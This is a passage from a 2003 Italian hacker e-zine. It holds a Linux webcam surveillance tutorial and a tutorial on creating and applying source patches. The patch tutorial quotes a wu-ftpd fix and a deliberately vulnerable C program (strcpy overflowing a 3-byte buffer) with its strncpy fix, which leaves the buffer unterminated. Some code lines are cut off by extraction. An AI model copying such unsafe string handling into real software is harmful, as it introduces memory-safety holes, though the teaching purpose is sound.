smetterà di | | funzionare. | | | | | | ------------- | | Nel prossimo articolo parlerò dei punti lasciati in sospeso in questo | | articolo. | | Spero di essere stato di aiuto a tutti quelli che necessitavano di una | | guida per apprendere i concetti basilari delle strutture di rete. | | | | ------------ | | Author: l1l0 | | e-mail: l1l0@autistici.org | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ LiNUX #09 - 01/06/2003 | | I0, LiNUX ED UNA WEBCAM [ink] 0x08/0x20 | +--------------------------------------------------------------------------+ | | | | | "Io, Linux ed una webcam" | | di inkompatible (inkompatible@yahoo.it) (C) 2003 | | | | Questo articolo è reperibile anche CORREDATO DI IMMAGINI in html presso | | http://utenti.lycos.it/inkompatible | | | | In questo articolo vi spieghero' come divertirsi per mezzo di un | | sistema Linux, una webcam supportata dal suddetto os e un po' di | | fantasia. | | | | -- Indice -------------------------------------------------------------- | | ------------------------------------------------------------------------ | | 1 - La folgorazione | | 2 - Il software | | 3 - (La webcam) | | 4 - Progetto 1: il controlla cancello | | 5 - Progetto 2: come ti sorveglio casa da remoto | | 6 - Ringraziamenti, saluti e conclusioni | | | | 1- La folgorazione ----------------------------------------------------- | | ------------------------------------------------------------------------ | | Stavo armeggiando come al mio solito con i cavi dietro il mio porta | | computer quando, con il cavetto della webcam in mano, mi volto verso la | | finestra retrostante, e vengo improvissamente folgorato dalla simpatica | | immagine della mia webcam, appiccicata con lo scotch sul vetro della | | finestra :) ; mi metto dunque a pensare a possibili applicazioni | | pratiche della mia visione... | | | | | | 2- Il software --------------------------------------------------------- | | ------------------------------------------------------------------------ | | Ma come dico sempre io: << tra il dire e il fare c'e' di mezzo | | il software >> e quindi mi metto a smanettare in rete e cerco qua e la | | qualcosa che mi possa servire da spunto: ovviamente mi imbatto subito | | nel sito del video4linux (http://www.exploits.org/v4l) dove vedo per la | | millesima volta il solito elenco di programmi che c'e' da sempre; noto | | pero' un programma interessante che non avevo mai preso in | | considerazione: motion (http://motion.technolust.cx). | | Motion e' un programma (a mio parere molto ben fatto) che riesce a | | "percepire" e a localizzare i movimenti all'interno di un flusso video | | (che nel nostro caso viene da una webcam) e a salvarli in snapshot | | formato immagine; anche io ho subito pensato ad un possibile impiego | | come sistema di sicurezza (che mente ! :) ed infatti sono molti ad | | utilizzarlo per questo scopo... gia' vedo la mia Philips Toucam Pro XS | | "aggrappata" alla finestra che controlla chi viene :P. | | | | Adesso, oltre che a motion, dato che di cose ne vogliamo far tante, | | abbiamo bisogno di qualche altro applicativo che non puo' mancare, non | | solo in questa occasione, ma anche per l'uso "normale" di una webcam | | su linux; sto' parlando di applicativi per il cosidetto "grabbing" | | (prendere l'output della webcam e portarlo in snapshot). qui di seguito | | ve ne consiglio alcuni che personalmente preferisco per l'efficenza e | | la praticita': | | | | - camstream (http://www.smcc.demon.nl/camstream) | | visualizzatore e grabber per X, (scritto in Qt). | | | | - vidcat (parte di w3cam: http://www.hdk-berlin.de/~rasca/w3cam) | | grabber da riga di comando molto comodo non vi puo' mancare. | | | | - motv | | visualizzatore che gira su X per chi non ha troppe pretese. | | | | - effectv (http://effectv.sourceforge.net) | | visualizza l'output della webcam applicando ben 36 effetti (non e' | | "utilissimo" ma e' molto divertente :D ; attenzione: richiede le | | librerie SDL) | | | | | | 3- (La webcam) --------------------------------------------------------- | | ------------------------------------------------------------------------ | | Approfitto, prima di iniziare, per fare una parentesi: do' per scontato | | che voi abbiate una webcam funzionante, ma nel caso aveste una cam e | | non sappiate come farla girare su Linux vi dico che l'operazione e' | | relativamente semplice; vi bastera' fare un salto sul sito del | | video4linux (www.eploits.org/v4l) e guardare se esiste un driver per la | | vostra webcam. | | Generalmente le Philips e le Logitech sono quasi tutte supportate e i | | driver generici si trovano anche nei kernel nuovi | | (/usr/src/linux/drivers/usb); e' comunque ovvio che se avete una webcam | | comprata all'ipercoop :P prodotta da una casa sconosciuta, l'unico modo | | per farla girare e' utilizzarla su Windows... ma si tratta di casi | | sporadici. | | Indicativamente per rendere operativa la vostra webcam (sempre che sia | | supportata) bisogna caricare i rispettivi moduli (se non si caricano | | dovete ricompilare il kernel opportunamente): | | | | # modprobe usbcore | | # modprobe usb-ohci (oppure usb-uhci o usb-ehci a seconda del bus) | | # modprobe videodev | | # modprobe nome_driver_appropriato (es: modprobe ov511) | | | | | | Nota: tutte le prove sono state fatte su un sistema GNU/Linux Slackware | | 8.1 e con una webcam Philis ToUcam pro XS (driver ov511) da root. | | | | | | 4- Progetto 1: il controlla cancello ----------------------------------- | | ------------------------------------------------------------------------ | | Bene, adesso mettiamo in pratica tutto quello che sappiamo, e proviamo | | a farci un "controlla cancello", o un "controlla finestra", o un | | "controlla porta", o un "controlla computer"...inzomma "controlla | | "; avremo bisogno di motion (e' una buona occasione | | per impararlo ad usare) e di qualcosa che ci segnali l'arrivo di | | di qualcuno, come un riproduttore di file audio da riga di comando | | (play). | | | | Prendete la vostra webcam (se e' necessario usate una prolunga usb) e | | fissatela su una finestra, o di fronte alla porta, oppure lasciatela li' | | vicino al computer a seconda di cosa volete fare; caricate poi tutti i | | moduli per renderla operativa. | | Adesso lasciate stare la webcam e fate un salto su | | http://motion.sourceforge.net e scaricate la versione piu' aggiornata | | di motion. | | A questo punto leggiamoci il man di motion... noterete che questo bel | | programma ha molte funzioni e impiegherete un bel po' ad impararlo ad | | utilizzare, ma per ora a noi ci bastano le opzioni principali; prima di | | tutto dovete sapere che motion (faccio riferimento alla versione 3.0.5) | | si puo' configurare sia da riga di comando che tramite un motion.conf . | | Quando lo installate infatti (prima del make) date una occhiata al | | motion.conf nella dir dove avete spacchettato il tar.gz : quelle sono | | le opzioni che il motion prendera' come default; io vi consiglio di | | "commentarle" (con il #) tutte in modo da poter poi fare un vostro | | motion.conf come piu' vi piace senza il pensiero dei settaggi di | | default. | | | | Per il nostro progetto sara' opportuno scrivere un motion.conf (nella | | dir in cui stiamo lavorando) come piu' ci torna comodo; il mio fa' | | piu' o meno cosi': | | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | | | | # motion.conf personalizzato | | | | videodevice /dev/video0 # imposta la device di default | | | | target_dir shots # imposta la dir dove mettera' gli snapshot | | # una volta rilevato un movimento | | # (quella di default e' la dir corrente) | | | | quality 100 # imposta la qualita' degli snapshot JPEG da | | # 0 a 100 (default 75) | | | | drawtext_user CANCELLO # imposta la scritta "CANCELLO" in basso a | | # sinistra di ogni snapshot | | | | drawtext_changes on # attiva la notifica in basso a destra degli | | # snapshot che indica il num. dei pixel | | # in cambiamento | | | | drawtext_shots on # attiva la dicitura sugli snapshot | | # (sotto in num. dei pixel) del tipo giorno, | | # mese, anno, ora, minuti, secondi, num. del | | # frame | | | | execute ./script.sh # imposta quale comando eseguire una volta | | # percepito un "evento" (una sequenza di | | # movimenti) | | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | | | | Il codice spiega da solo, man ci sono solo un paio di cose da | | dire: nel caso del "execute ./script.sh", script.sh e' uno scriptino | | shell che avvia un programma che legge un file audio .wav | | pre-registrato che dice una cosa tipo << arriva qualcuno >>; il | | contenuto dello script sarebbe: | | | | ~~~~~~~~~~~~~~~ | | | | #!/bin/sh | | | | play avviso.wav | | | | ~~~~~~~~~~~~~~~ | | | | ...ma voi potete farci quello che vi pare, ad esempio loggare in un | | file l'evento (cosa piuttosto inutile dato che motion fa uno snapshot | | con la data :D). | | Comunque sappiate che tutte queste impostazioni si possono dare anche da | | linea di comando (es: motion -d /dev/video0 -t shots) e che io ve le ho | | presentate cosi' per un fatto di comodita'. | | | | Motion ha tantissime altre opzioni "secondarie" che sono spiegate | | molto bene nel man; tra queste quelle che uso di piu' sono tutte da | | riga di comando (sono infatti occasionali): | | | | -O comando # comando da eseguire una volta salvato lo snapshot | | # (il nome dello snapshot .jpg viene dato come argomento) | | | | -L noise # specifica il "noise", ossia il disturbo dovuto | | # alla bassa risoluzione delle webcam; piu' il numero e' | | # alto meno il motion sara' sensibile nel percepire i | | # movimenti | | | | -M address@address.com # manda una mail all'indirizzo specificato | | # quando percepisce un movimento | | | | -N # non fa gli snapshot "normali" (per le prove) | | | | -Q # non fa il "beep" quando percepisce un movimento | | | | Direi che possono bastare. Per tutti gli altri comandi attaccatevi al | | man :D . | | | | Una volta piazzata la cam, scritto il motion.conf e lo scriptino | | (quello che che fa parire la voce registrata), mettete il .conf in una | | dir temporanea (es: /mot), fate una dir per gli shots (es: /mot/shots), | | aggiustate il livello delle casse, avviate motion, spengete lo schermo | | (senno' consuma ! :D) e andate a guardare tutti i porno che vi pare, | | tanto se torna mamma il computer vi avvisa :P ! | | | | | | 5- Progetto 2: come ti sorveglio casa da remoto ------------------------ | | ------------------------------------------------------------------------ | | Adesso proviamo a fare una cosa un po' piu' complicata; avete bisogno | | di: | | | | - apache funzionante | | - un grabber (camstream, vidcat ecc.) | | - un browser che supporta javascript | | | | Un po' di tempo fa' ho letto da qualche parte una cosa simile a | | quella che vi sto per proporre e a suo tempo mi colpi' molto; mi e' | | rimasta impressa, ma non ricordo come e dove l'ho letta (forse in rete | | ? o su una rivista ?), quindi ve la ripropongo a modo mio (non so se | | rimarro' fedele al testo originale). | | | | L'idea e' quella di tenere un grabber a fare snapshot su un file | | definito in ciclo continuo (ogni 5/10 secondi) e di scrivere una pagina | | html che con l'ausilio di javascript (aime' non abbiamo alternative...) | | ricarichi ogni tot secondi l'immagine e la faccia vedere a centro | | pagina. Ovviamente questo sistema si puo' utilizzare sia con il | | computer connesso 24 ore su 24 (chi ha l'adsl flat se lo puo' | | permettere), sia con l'mgetty che aspetta una chiamata sul modem | | (preferibile per i 56K). | | | | Sappiate che riguardo a questa idea esistono molti programmi come | | camserv e webcam_server che fanno proprio quello che vogliamo | | realizzare noi... ma spesso sono noiosi da configurare, anche perche' | | ci si deve limitare a cio' che ci pone il programma, mentre facendolo | | da noi possiamo ampliare il nostro progetto con molte modifiche a | | seconda della situazione in cui ci troviamo... | | e comunque vi assicuro che fare qualcosa di proprio da molta piu' | | soddisfazione che limitarsi a configurare un programma di altri. | | | | Passiamo all'azione. | | Per comodita' presupporro' che il file che ci funge da intermediario | | tra il grabber e la pagina web sia "shot.jpg" e che, sia la pagina web | | che lo stesso file, si trovino in /var/www/htdocs/webcam | | (/var/www/htdocs e' la dir di apache usata come DocumentRoot molto | | spesso nelle configurazioni di default). | | | | Dobbiamo ora scegliere se utilizzare un grabber da linea di comando | | (vidcat) o se da grafica (camstream). | | | | Nel primo caso ci bastera' fare uno scriptino che chiami ogni 5 secondi | | (modificate il tempo a piacere) il grabber: | | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | | | | #!/bin/sh | | #/var/www/htdocs/webcam/grab.sh | | | | while true | | | | do | | | | sleep 5s; | | | | # qui i comandi per effettuare il grab su shot.jpg | | # es: vidcat -d /dev/video0 -f jpeg -o shot.jpg -q 100 | | | | done | | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | | | | Nel secondo caso invece ci bastera' configurare oppurtunamente il | | programma dalla grafica; si prenda per esempio camstream: una volta | | avviato (da un xterm posizionato su /var/www/htdocs/webcam) bastera' | | avviare una sessione webcam e configurare il timer degli snapshots su 5 | | secondi e il grabber del programma su shot.jpg . Bisognera' pero' in | | questo caso lasciare camstream aperto fisso... non e' molto elegante ma | | vi permette di vedere senza tanti marchingegni cosa sta' andando in cam | | se siete a casa. | | | | Bene, adesso non rimane che scrivere la pagina web: | | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | | | | | | | | | | Webcam | | | | | | | | | | | | | | | |

| | | | | |
| | | | | | | | | | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | | | | Vi faccio notare l'astuto marchingegno utilizzato per ingannare la | | cache del browser: si crea una var temporanea (x) che contiene la data e | | l'ora che viene aggiunta al nome del file .pjg (es: | | shot.jpg?x=Wed%20Jan%2001%202003%2015:24:06%20GMT+0100%20(CET)) in modo | | che il browser ricarichi l'immagine senza rileggerla dalla cache (dato | | che il nome del file e' sempre il medesimo). | | | | Ah, breve parentesi, il codice java per ingannare la cache non e' mio | | :D (non sono cosi' bravo in java...anzi non lo sono per niente!) | | ma dell'autore originale (e comunque se non era cosi' era molto | | simile). | | | | ...Sarete poi voi ad abbellire la pagina con tutte le vostre cose (tipo | | una scritta << webcam attiva >> o altre futilita' del genere :P). | | | | Adesso pero' prima di poter utilizzare il nostro stupendo sistema | | dobbiamo risolvere qualche problemino con apache; infatti ci siamo | | dimenticati di una cosa: siete proprio sicuri che vogliate che tutto il | | mondo veda quello che vi succede in casa ? :D | | Ci basta dunque settare apache in modo che protegga con password la dir | | webcam oppure mettere un piccolo form di richiesta password in php | | direttamente nella pagina web... ma dato che non tutti hanno php | | configurato su apache vi consiglio di impostare a mano una protezione | | direttamente sul web server; | | allora creiamo intanto un file dove metteremo gli utenti e le password | | per la directory /var/www/htdocs/webcam ed impostiamo un primo utente | | per mezzo del programma apposito htpasswd : | | | | # htpasswd -c /etc/apache/pwd_webcam utente1 | | New password: | | Re-type new password: | | Adding password for user utente1 | | | | una volta creato il file e impostato almeno un utente modifichiamo l' | | httpd.conf a dovere inserendo la dicitura: | | | | | | AuthType Basic | | AuthName "Webcam password" | | AuthUserFile /etc/apache/pwd_webcam | | Require valid-user | | | | | | in questo modo apache richiedera', ogni qualvolta si voglia accedere | | alla directory webcam, gli appropriati utente e password. Volendo | | potrete aggiungere piu utenti e password nel file pwd_webcam se volete | | per esempio dare accesso temporaneamente ad altre persone. | | | | Alla fine avrete un sistema economico e sicuro per controllare casa | | vostra da remoto! | | | | 6- Ringraziamenti, saluti e conclusioni -------------------------------- | | ------------------------------------------------------------------------ | | Vi dico gia' che spero di poter scrivere nel prossimo numero di | | OndaQuadra un altro articolo (che suonera' tipo "Io, Linux ed una | | webcam | | parteseconda") nel quale vi illustrero' come ampliare il "Progetto 2" in | | modo da poter vedere da remoto i "movimenti registrati" per mezzo di | | motion e un po' di php. | | | | Prima di terminare permettetemi di fare un ringraziamento al mio amico | | nomero che mi ha mandato i 7 cd di "quella distro che non ho i soldi per | | pagare" :) e che mi fa vincere a scacchi ;) ; poi ancora un saluto a | | JEYoNE che e' sempre disponibile e che era tanto entusiasta del mio | | articolo e mi ha incitato a farlo pubblicare. | | | | Un grazie ancora a quel geniaccio di Jeroen Vreeken che ha scritto il | | motion...e al "vi" che mi e' sempre fedele. | | | | Grazie di aver letto questo articolo che con cotanta dedizione vi ho | | preparato e spero di trovarvi numerosi anche nel prossimo numero. | | | | Per qualunque problema, consiglio, commento ecc. non esitate a | | contattarmi: inkompatible@yahoo.it | | | | Questo articolo è reperibile anche CORREDATO DI IMMAGINI in html presso | | http://utenti.lycos.it/inkompatible | | | | - inkompatible - | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ LiNUX #09 - 01/06/2003 | | PATCH ?!? MA Si MANGiAN0? [spyro] 0x09/0x20 | +--------------------------------------------------------------------------+ | | | -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- | | | | | | | | / - | | |--> /Disclaimer | | |--> /Introduzione | | |--> /Teoria_e_Requisiti | | |--> /Creazione_manuale_patch | | |--> /Creazione_automatica_patch | | |--> /Ringraziamenti_e_saluti | | | | -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- | | | | bash# cd /Disclaimer | | bash# cat disclaimer.txt | | | | Tutto quello che riporterò qui di seguito è di solo scopo informativo. | | Pertanto se causerete danni a voi o verso terzi la responsabilità è | | solo vostra. | | Al giorno d'oggi la rete purtroppo è piena di lamer e io con questo | | testo non voglio contribuire alla nascita di nuovi, quindi pensateci | | due volte prima di mettere in atto queste informazioni. | | Io ho scritto questo testo soltanto x mettere in evidenza i problemi | | di sicurezza riguardanti la rete. | | | | -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- | | | | bash# cd /Introduzione | | bash# cat introduzione.txt | | | | Quanto tempo...rieccomi a scrivere qualcosa. | | Oggi cercherò di spiegarvi al meglio un argomento fondamentale nel | | campo della sicurezza, ovvero capire, usare, creare le patch per i | | nostri amati programmi. | | Premetto che mi baserò sul sistema linux. | | Come avrete notato sulle varie mailinglist, forum, siti web, ecc.. | | le case scrittrici di software rilasciano spesso queste famose patch | | per i propri programmi. | | Il perchè è presto detto, ovvero, i software sono programmati da | | persone e siccome nessuno è perfetto, ci si imbatte spesso in | | errori(bug) all'eseguzione o in alcune funzioni di determinati | | programmi. | | Bug che spesso rendono possibili comandi arbitrari da parte di utenti | | indesiderati verso la nostra macchina. | | Una volta scovato un determinato bug su un programma, gli stessi ben | | amati programmatori corrono al riparo correggendo il codice sorgente | | del software. | | Non potendo, logicamente, far uscire una versione nuova del programma | | per ogni ritocco che le viene attuato, vengono rilasciate queste famose | | patch. | | Andiamo a vedere cosa sono, come sono strutturare, come agiscono,ecc... | | | | -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- | | | | bash# cd /Teoria_e_Requisiti | | bash# cat teoria_e_requisiti.txt | | | | Le patch sono dei comunissimi file di testo che hanno un propria | | struttura e logica di funzionamento. | | Oltre a istruzioni basilari, una patch contiente le stringhe del codice | | sorgente originale di un tale programma, e le istruzioni nuove che | | andranno a sostituirsi con quelle vecchie. | | Logicamente non viene riportato l'intero sorgente originale, ma solo | | le istruzioni che causano il o i bug. | | Vi propongo un esempio analizzando una patch rilasciata per il demone | | ftp: wuftpd | | | | ------- Inizio Patch: -------- | | | | Index: src/ftpd.c | | =================================================================== | | RCS file: /cvsroot/wu-ftpd/src/ftpd.c,v | | retrieving revision 1.113 | | diff -u -r1.113 ftpd.c | | --- src/ftpd.c 2000/07/07 22:17:38 1.113 | | +++ src/ftpd.c 2000/08/29 17:26:23 | | @@ -7274 +7274 @@ | | int which; | | struct aclmember *entry = NULL; | | (void) acl_getclass(class); | | - while (getaclentry("port-allow", &entry)) { | | + while (getaclentry("pasv-allow", &entry)) { | | if ((ARG0 != NULL) && (strcasecmp(class, ARG0) == 0)) | | for (which = 1; (which < MAXARGS) && (ARG[which] != NULL); which++) { | | | | if (hostmatch(ARG[which], remoteaddr, NULL)) | | | | | | -------- Fine Patch --------- | | | | La patch comincia ad essere interpretata dalle stringhe dove viene | | dichiarato la fine della scrittura del vecchio sorgente con relativo | | percorso: | | | | --- src/ftpd.c 2000/07/07 22:17:38 1.113 | | | | I tre meno stanno a indicare che le modifiche andranno ad effettuarsi | | sul file che stanno nella directory src/ , quindi questo fa | | intendere che questa patch andrà spostata e eseguita nella | | directory principale del pacchetto del software, infatti: | | | | bash-2.05a$ cd wu-ftpd-2.6.1 | | - | | bash-2.05a$ ls | | CHANGES COPYRIGHT INSTALL Makefile.in README.AUTOCONF | | config.guess config.h.noac configure doc makefiles | | support CONTRIBUTORS ERRATA LICENSE README build | | config.h.in config.sub configure.in install-sh src util | | - | | bash-2.05a$ ls -l src/ftpd.c | | -rw-r--r-- 1 spyro users 192158 Jul 1 2000 src/ftpd.c | | bash-2.05a$ | | | | Come potrete notare il percorso del sorgente ftpd.c coincide, | | mentre la data dell'ultima modifica no. | | Questo perchè penso che la data all'interno della patch si basa | | su quella precedentemente rilasciata. | | Torniamo al codice. | | Subito dopo troviamo: | | | | +++ src/ftpd.c 2000/08/29 17:26:23 | | | | Vediamo che i 3 + servono ad indicare il rilascio della patch. | | | | Tutto quello che sta sopra: | | | | Index: src/ftpd.c | | =================================================================== | | RCS file: /cvsroot/wu-ftpd/src/ftpd.c,v | | retrieving revision 1.113 | | diff -u -r1.113 ftpd.c | | | | viene visualizzato come output di informazione al momento | | dell'eseguzione della patch con particolari flag; | | Approfondirò meglio in seguito. | | | | @@ -7274 +7274 @@ | | | | Questa istruzione indica che le stringhe di codice che seguiranno | | dovranno essere effettuate dalla riga 7274 del codice sorgente | | originale sostituendo l'istruzione esistente con quella nuova. | | Infine: | | | | int which; | | struct aclmember *entry = NULL; | | (void) acl_getclass(class); | | - while (getaclentry("port-allow", &entry)) { | | + while (getaclentry("pasv-allow", &entry)) { | | if ((ARG0 != NULL) && (strcasecmp(class, ARG0) == 0)) | | for (which = 1; (which < MAXARGS) && (ARG[which] != | | NULL); which++) { | | | | if (hostmatch(ARG[which], remoteaddr, NULL)) | | | | la stringa che inizia con il meno, è quella che sarà sostituita con | | quella nuova che inizia con il più. | | La parte del codice che sta prima e dopo: | | | | - while (getaclentry("port-allow", &entry)) { | | + while (getaclentry("pasv-allow", &entry)) { | | | | Non sono altro che le istruzioni del codice sorgente che non verranno | | assolutamente intaccate, ma saranno usate come ulteriore punto di | | riferimento per la sostituzione delle stringhe precedentemente | | riportate. | | | | Come avete potuto notare, non è difficile capire il suo funzionamento | | e tanto meno la sua creazione. | | Prima di passare alla spiegazione per la crezione di queste patch, | | vediamo come si installano. | | | | Io ho preso come software: wuftpd-2.6.1 | | E come Patch: pasv-port-allow-correction.patch | | | | Ecco gli url per scaricare entrambi i file: | | | | Demone: ftp://ftp.wu-ftpd.org/pub/wu-ftpd/wu-ftpd-2.6.1.tar.gz | | | | Patch: | | ftp://ftp.wu-ftpd.org/pub/wu-ftpd/patches/apply-to-2.6.1/pasv-port- | | allow-correction.patch | | | | Dopo che avete scaricato iniziamo la procedura: | | | | tar xvfz wu-ftpd-2.6.1.tar.gz | | cd wu-ftpd-2.6.1 | | | | Adesso ci spostiamo la patch e usiamo il programma che guarda caso | | si chiama patch, per installarla. | | Per maggiori informazioni sul programma patch vi rimando al suo man | | (man patch), ecco la sintassi di uso: | | | | NAME | | patch - apply a diff file to an original | | | | SYNOPSIS | | patch [options] [originalfile [patchfile]] | | | | but usually just | | | | patch -pnum | | int main() { | | char buf[3]; | | strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); | | return 0; | | } | | | | --- End Of buff.c ----- | | | | Compiliamolo e lanciamolo: | | | | bash-2.05a$ gcc -o buff1 buff.c | | bash-2.05a$ ./buff1 | | Segmentation fault | | bash-2.05a$ | | | | Ecco, come dicevo prima, il programmino ha un serio bug, ovvero và | | in segmentation fault xchè la funzione strcpy copia la stringa | | contenente tutte quei caratteri "c" che sono più dei 3 contenibili | | dalla nostra variabile buf. | | Prima cosa da fare per creare la patch, è rimediare al bug all'interno | | del codice: | | | | ---- Codice Bug Risolto ----- | | | | #include | | int main() { | | char buf[3]; | | strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); | | return 0; | | } | | | | --- End Of buffok.c ----- | | | | bash-2.05a$ gcc -o buff buffok.c | | bash-2.05a$ ./buff | | bash-2.05a$ | | | | Come possiamo notare, il problema del buffer overflow è stato corretto | | grazie a una piccola modifica, ovvero invece di strcpy, abbiamo | | usato strncpy che ci dà la possibilità di copiare solo i primi 2 char | | nell'area di memoria di destinazione. | | Adesso che abbiamo corretto il bug, creeremo la nostra patch senza | | l'aiuto di alcun tool. | | Una volta capito il meccanismo potremmo anche automatizzare il tutto. | | Prima di tutto facciamo un ls -l del file buff.c per vedere data | | e ora dell'ultima modifica del sorgente. | | Dopo di che annotiamoci data e ora attuale. | | Apriamo il nostro editor testuale preferito e creiamo un file di | | nome buffer.patch . | | A questo punto inizializziamo la patch indicando il file da | | patchare con relativi orari: | | | | Index: buff.c | | =================================================================== | | --- buff.c 2003/02/25 17:17:38 | | +++ buff.c 2003/02/25 17:18:38 | | | | Contando dall'alto verso il basso del sorgente buff.c , notiamo che | | l'istruzione da sostituire sta nella riga numero 4 del file di testo, | | quindi specifichiamo la posizione: | | | | @@ -4 +4 @@ | | | | Per ultima cosa non ci resta che specificare l'istruzione vecchia da | | togliere (con il meno) e quella nuova che corregerà l'errore | | (con il più). | | | | -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); | | +strncpy | | (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); | | return 0; | | } | | | | Abbiamo messo anche: | | | | return 0; | | } | | | | dopo le stringhe da sostituire come ulteriore punto di riferimento. | | Adesso la patch è finita, salvate le modifiche e chiudeve il file. | | Ricapitoliamo il tutto: | | | | --- Patch finita --- | | | | Index: buff.c | | =================================================================== | | --- buff.c 2003/02/25 17:17:38 | | +++ buff.c 2003/02/25 17:18:38 | | | | @@ -4 +4 @@ | | -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); | | +strncpy | | (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); | | return 0; | | } | | | | --- Fine Patch --- | | | | Adesso nella nostra dir di lavoro dobbiamo avere i file: | | | | 1) buff.c | | 2) buff.patch | | | | Usiamo il comando patch: | | | | bash-2.05a$ patch -p0 | | int main() { | | char buf[3]; | | strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); | | return 0; | | } | | bash-2.05a$ | | | | Yes..modifiche effettivamente attuate ;) | | Adesso che abbiamo capito come creare le patch,automatizziamo il tutto: | | | | -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- | | | | bash# cd Creazione_automatica_patch | | bash# cat creazione_automatica_patch.txt | | | | Precedentemente abbiamo creato il sorgente buffok.c , non solo | | per correggere il bug, ma anche xchp adesso ci resterà utile. | | Mi raccomando, ricopiate di nuovo il sorgente buff.c altrimenti | | rischiate di usare quello precedentemente patchato. | | Per automatizzare il codice utilizzeremo un tool di nome "diff". | | Diff è un programma che serve a confrontare 2 testi SIMILI, quindi | | NON uguali, e su un terzo file scrive le righe differenti. | | Esempio: | | | | bash-2.05a$ diff buff.c buffok.c > risultato.txt | | bash-2.05a$ cat risultato.txt | | 4c4 | | < strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); | | --- | | > strncpy | | (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); | | bash-2.05a$ | | | | In effetti i 2 file sono simili, ma hanno quelle righe differenti. | | Penso sia chiaro adesso. | | Come al solito darei uno sguardo al man(man diff): | | | | NAME | | diff - find differences between two files | | | | SYNOPSIS | | diff [options] from-file to-file | | | | Ma questo grazioso tool, fornisce la possibilità di creare | | automaticamente una patch confrontando i 2 testi, nel nostro caso | | i due codici sorgenti. | | Come? | | Con una semplice sintassi: | | | | bash-2.05a$ diff -uNr buff.c buffok.c > buff.patch | | bash-2.05a$ cat buff.patch | | --- buff.c 2003-02-28 22:21:11.000000000 +0100 | | +++ buffok.c 2003-02-28 16:32:28.000000000 +0100 | | @@ -4 +4 @@ | | #include | | int main() { | | char buf[3]; | | -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); | | +strncpy | | (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); | | return 0; | | } | | bash-2.05a$ | | | | Come possiamo notare la patch è stata sfornata alla perfezione, con la | | differenza che ha incluso l'intero codice. | | Proviamola: | | | | bash-2.05a$ patch -p0 | | int main() { | | char buf[3]; | | strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); | | return 0; | | } | | bash-2.05a$ | | | | E in effetti tutto torna :) | | Vi riporto i significati delle flag che abbiamo usato con diff: | | | | -u Use the unified output format. | | | | -N | | --new-file | | In directory comparison, if a file is found | | in only one directory, treat it as present but | | empty in the othe directory. | | | | -r When comparing directories, recursively compare any | | subdirectories found. | | | | | | Direi che con questo è tutto. | | Ho scritto questo testo dopo averne letto uno sempre a riguardo dello | | stesso argomento, ma abbastanza sintetico, quindi ho deciso di | | approfondire il tutto e renderlo comprensibile per la maggior parte | | dei lettori(almno spero). | | Per correttezza cito autore e titolo: | | | | +----------------------------------------+ | | | Autore: [Evil] | | | | Titolo: Patching for phun | | | | Mail: evil@mojodo.it | | | | Http://www.mojodo.it | | | +----------------------------------------+ | | | | E' proprio tutto per oggi, un saluto dal vostro SPYRO | | | | -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- | | bash# cd /Ringraziamenti_e_saluti | | bash# cat ringraziamenti_e_saluti.txt | | | | | | Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn, | | BsTHaCk,Anubi ,D4rkSt4r ,jex,Silent,dibbellas,^maga^, | | Radion,Warning,Terror,Gouranga,Blender,Prodigy, | | Hiolz[83],Memorik,Hedo, | | MrWolf,Screen_it,zapotecz, | | Goony,Scire,Sulex,Floppino,Grungio,Fratak, | | McGiver,AntiS,gouranga,LizDay,satz,cancerman, | | ULCC,Spider2k,Ice'St0rm, | | e tutti quelli che ho dimenticato di #phreak.it(scusatemi). | | | | I miei amici di azzurranet, in particolare: | | [Net_Digger],^stan^,HomePack,nix,Resinaro | | | | Poi saluto anche tutti quelli dei tankcommandos,della hrn,pbk, | | Maphias0ft, gli Spippolatori,in particolare: | | il grande Master,Chrome,Brigante,RigorMortem,Vinx2o2o,fen0x, | | DARKMAN,risk e tutti quelli che mi vogliono bene :) | | | | | | Fuck to: MMMMM un gran vaffanculo all'amicizia fra ragazzi e ragazze!! | | | | | | -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- | | | | | | | | bash# cat end.c | | | | | | | | #include | | | | void main(void){ | | | | printf("Anche per oggi è tutto dal vostro SPYRO\n"); | | | | 